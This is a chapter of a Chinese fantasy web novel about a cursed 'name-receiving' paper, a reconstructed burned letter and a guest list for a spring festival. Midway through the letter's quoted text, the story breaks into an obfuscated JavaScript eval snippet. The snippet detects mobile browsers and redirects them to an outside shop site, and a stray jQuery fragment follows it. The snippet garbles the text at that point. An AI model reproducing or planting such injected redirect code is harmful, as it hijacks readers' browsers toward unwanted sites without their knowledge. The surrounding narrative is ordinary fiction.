账房门外安静了几秒。
邵律师塞进来的白纸停在门缝下，纸上只露出一个“顾”字，余下部分都被浓墨盖住。秦满的铜铃没有响，闻烬生却已经拔出半寸刀锋。
“假的。”他说，“九十七年前那个人不姓顾。”
谢明烛看向他：“你见过她？”
“见过一次。”
门外的邵律师轻轻敲了敲门：“谢老师，时间有限。您把信交出来，我们把原名给您。对双方都公平。”
“原名是谁交给你们的？”谢明烛问。
邵律师顿了一下：“愿社保管了近百年。”
“我问的是授权人。”
“原主已经去世，不存在授权问题。”
“人死了，名字就归你们？”
门外没了声音。
谢明烛蹲下来，没有碰那张纸：“原名的发现记录、保管记录、流转记录，还有你代表原主处分姓名的依据，一起拿出来。”
邵律师似乎笑了一声：“谢老师，这不是文物交接。”
“名字比文物便宜？”
“您很清楚，我们谈的不是法律意义上的姓名。”
“那你带律师来干什么？”
唐婧没忍住，低头笑了一下。门外的人却不再接话，只把纸又往里推了半寸。
白纸碰到堂娘名牒，黑墨忽然动了。
遮住后两个字的墨迹沿纸边散开，像要主动露出下面的名字。秦满怀里的铜铃仍然不响，神簿却在谢明烛手边轻轻震了一下。
“别看。”谢明烛说。
唐婧已经察觉不对，立刻移开手电。沈若微也侧过脸，只有沈鸿礼反应慢了一步，看见第二个字左边的一小截笔画。
他的瞳孔忽然涣散，嘴里跟着念：“顾……照……”
沈若微抬手就是一巴掌。
声音清脆，沈鸿礼被打得偏过头，剩下那个字也咽了回去。他清醒后愣了两秒，第一反应不是生气，而是立刻闭紧嘴。
沈若微举起写字板。
【它在让人读。】
谢明烛点头：“不是答案，是受名帖。”
邵律师在门外说：“一张纸而已。谢老师连名字都不敢看，怎么去百名会馆替别人归名？”
“想知道名字，和接下名字，是两回事。”
“您不看，怎么确定真假？”
“你先把全名念出来。”
门外再次安静。
谢明烛看着那张纸：“怎么不念？”
邵律师的声音冷淡了一点：“名字只能交给修契人。”
“所以只要我开口求你交名，这张帖就算我自愿受下。”
没人回答，已经等于回答。
唐婧从工具箱里取出薄片和冷光灯，蹲到门边。她没翻动纸张，只从最低角度照过纸面，隐藏在墨层下的小字慢慢显了出来。
【问名者求名。】
【见名者受名。】
【受名者承其前愿。】
最后一行压在纸纤维深处，字最小。
【以旧信为价，退神债归后来者。】
沈若微脸色沉下去。
愿社要的根本不是前一个谢明烛留下的信。只要现在的谢明烛接受这张所谓原名，九十七年前未清的退神债就会一起落到她身上。
到那时，她进入百名会馆便不再是查账的人，而是续债的人。
谢明烛站起身：“沈若微，这里现在是谁的地方？”
沈若微握住写字板，停了片刻，直接用还没恢复的嗓子开口：“栖水堂……由我退契。”
她说得很慢，却足够清楚。
“堂娘名牒……暂由我保管。”
“这张受名帖，我不收。”
门缝下的白纸猛地向里钻了一寸，像不肯退出去。沈若微抬脚踩住纸角，又补了一句：“栖水堂不替任何人受名。”
白纸上的黑墨瞬间退净。
纸面只剩一个孤零零的“顾”字，随后被门外的人抽了回去。
邵律师沉默片刻：“顾先生只是想让你们少走一点弯路。”
“他现在还叫顾先生？”唐婧问，“工作证上不是已经没名字了吗？”
“称呼不影响身份。”
“你们愿社不是最喜欢说身份靠名字吗？”
邵律师没有继续争，只道：“那封信不属于你们。”
谢明烛拿起烧残的信页：“写信的人说了给谁？”
“没有。”
“那也没说给愿社。”
“它与百名会馆的馆藏有关。”
“馆藏来源证明呢？”
“谢老师，您应该清楚，有些旧物无法用普通权属规则——”
“说不过就不普通了？”
门外传来一阵脚步声。负责现场调查的人已经来到东侧走廊，要求承仪研究会人员离开封存区域，邵律师没再敲门。
临走前，他隔着门说：“春祭见。”
“记得带齐材料。”谢明烛道，“别再拿假名字冒充权属证明。”
脚步声停了一瞬，随后远去。
沈鸿礼抬手碰了碰被女儿打红的脸，小心问：“刚才那个名字……”
“忘了。”沈若微在写字板上写。
“我只看见两个字。”
【那就忘两个。】
沈鸿礼点头：“好。”
唐婧将门缝附近残留的墨迹采样封好，又检查了一遍堂娘名牒：“纸虽然被收走了，但它刚才主动显字，门槛和名牒上可能留有压痕。”
“先取下来。”谢明烛说，“不要急着辨全名。”
秦满蹲在旁边看他们忙，忽然问闻烬生：“哥哥，你什么时候见过前一个谢明烛？”
闻烬生没有立刻回答。
九十七年前，他还没有成为如今的守山人，却已经开始替雾隐山守送愿亭。那年三月，山外下了三天雨，第四夜有人送来一名受了重伤的女人。
她左手被火烧过，掌心与指节都缠着布。与她同行的人只把她送到亭外，没有进山，也没留下姓名。
“送她来的是沈归鹤？”谢明烛问。
“当时他还用自己的名字。”闻烬生说，“我不知道他和百名会馆有关，只听同行的人叫他沈先生。”
女人在送愿亭里待了半夜。谢家来接人时，负责登记的族老问她是否姓顾，她当场否认。
“她说什么？”唐婧问。
“她说，我不姓顾，也不进谢家族谱。”
谢明烛看着他：“然后呢？”
“谢家的人说，进山必须有名。她便说，可以暂用谢明烛。”
“暂用？”
“她说事情结束后，这个名字要从神簿上划掉。”
可她没能划掉。
春祭退神失败后，她死在了百名会馆。沈归鹤把“谢明烛”当成无主死名留了下来，又转赠给雾隐山谢氏。
谢明烛问：“你为什么以前没提过她？”
“直到回声井里的录音，我才确定是同一个人。”
“她和我像吗？”
“不像。”
回答得很快。
唐婧正在低头处理残墨，听见后动作慢了一下。秦满也仰起脸，等着闻烬生继续说。
谢明烛问：“哪里不像？”
“她左手不能弯，拿东西时习惯用小指压住边角。说话之前会先看门，怕有人进来。”闻烬生看了她一眼，“你先看字。”
谢明烛低头看了看自己手里的信。
“还有呢？”
“她想让我替她烧掉神簿。”
“你答应了？”
“没有。”
“为什么？”
“当时的我认为，神簿不能烧。”
闻烬生说得很平静，没有替过去的自己辩解。那时他还相信守山人的职责，也相信山中规矩可以修正，只要让谢氏换一种更轻的代价，便不必彻底毁掉神簿。
后来他看着那个名字一次次被写到不同女人身上，才知道有些东西留下来，本身就是错。
“她死后，你后悔了？”谢明烛问。
“后悔没有用。”
“这不是回答。”
闻烬生沉默片刻：“后悔。”
谢明烛点了一下头，没有安慰他，只把那张残信递过去：“现在还有机会看清她到底想烧什么。”
唐婧已经铺好修复垫，将残信放到冷光板上。信的下半部分烧失严重，正面只能看到半句——
【找到我的原名，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17760367|208250||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
将谢明烛……】
正常情况下，后面的内容已经无法恢复。但这封信曾经对折保存，墨迹没有完全干透时，在另一侧留下了极浅的反印。
唐婧调整光线，谢明烛用透明片沿着残留笔画逐一描出。第一个字左侧是耳刀旁，右边残留一竖。
“除。”唐婧说。
第二个字只有斜钩和一点。
“下？”
谢明烛重新调整透明片：“不是下，是去。”
剩下两字的反印更浅。她们比对前文笔迹，又检查纸张烧焦后收缩的方向，才将整句话补出来。
【找到我的原名，将谢明烛从神位除去。】
下一行也有反印。
【不是还我。】
【是还人间。】
秦满小声念了一遍：“还人间是什么意思？”
谢明烛看着那几行字：“让它不再是谁的祭位，也不再是谁的神名。”
前一个谢明烛并不想拿回这个名字。
她甚至不想让后来的人继承自己的退神意志。她要找回原名，只是为了证明“谢明烛”和她不是同一个人，再把这三个字从神位上彻底除下。
从此以后，谁愿意用，就只是普通姓名。
谁也不能再借它收愿、承债、封神。
“所以愿社才要把她的原名藏进第八层。”唐婧说，“只要原名不出现，她和谢明烛就永远拆不开。这个名字也永远是一枚死名。”
谢明烛拿起朱砂笔，在透明片上补全最后一句，却没有直接写回原信。
修复不是代替原作者写完。
证据不足的部分，只能附注，不能冒充原文。
她在记录页上标明反印位置、推断依据和待核内容，随后将残信重新封存。
沈若微看着她：“这封信……能带进会馆吗？”
“能。”
“愿社会说是你补的。”
“所以原件、反印、记录全部带上。”
唐婧把设备日志也放进档案袋：“还有回声井录音。她亲口说过，别替她。”
愿社习惯用一张名册决定一个人是谁。
这一次，他们带进去的不只是一张纸。
还有声音、笔迹、烧痕，以及她曾经拒绝过什么。
沈鸿礼取出堂主印：“春祭还有六天。我们什么时候进去？”
“不能等第七天。”
闻烬生看向谢明烛。
她把那封信和堂娘名牒分开装好：“愿社把时间定在七天后，是因为借名到期、春祭开门、九千个新名入馆都会在同一刻发生。”
唐婧明白了：“所有人都盯着第七天，它反而可能提前动手。”
“今晚先查承仪文化园的公开区域。”谢明烛说，“不进地下，也不应名。把出入口、人员和地上两层的用途摸清楚。”
沈鸿礼问：“用我的堂主身份？”
“先不用。”
“那怎么进去？”
唐婧拿出手机，打开承仪文化园的春祭页面。除了七天后的正式活动，页面上还新增了一场春祭预展，面向民俗研究、文献保护和婚俗行业从业者开放。
时间就在今晚。
报名名单已满。
可活动协办单位一栏，出现了一个新名字。
栖水堂。
沈鸿礼脸色骤变：“我没有同意。”
“你的堂主名还没退。”谢明烛说，“它替你同意了。”
沈若微拿过手机。报名页面已经为栖水堂预留了六个嘉宾名额，姓名全部填写完毕。
沈鸿礼。
沈若微。
唐婧。
秦满。
闻烬生。
谢明烛。
六个人，一个不少。
最下方还有一句提示。
【嘉宾无需再次确认。】
【原身份已完成登记。】
秦满的铜铃忽然响了一声。
他盯着名单看了许久，抬手指向第七行。
页面原本只有六个人。
可在他们注视下，一个新的名字慢慢浮了出来。
【谢明烛。】
后面标注：
【前任。】
【已入场。】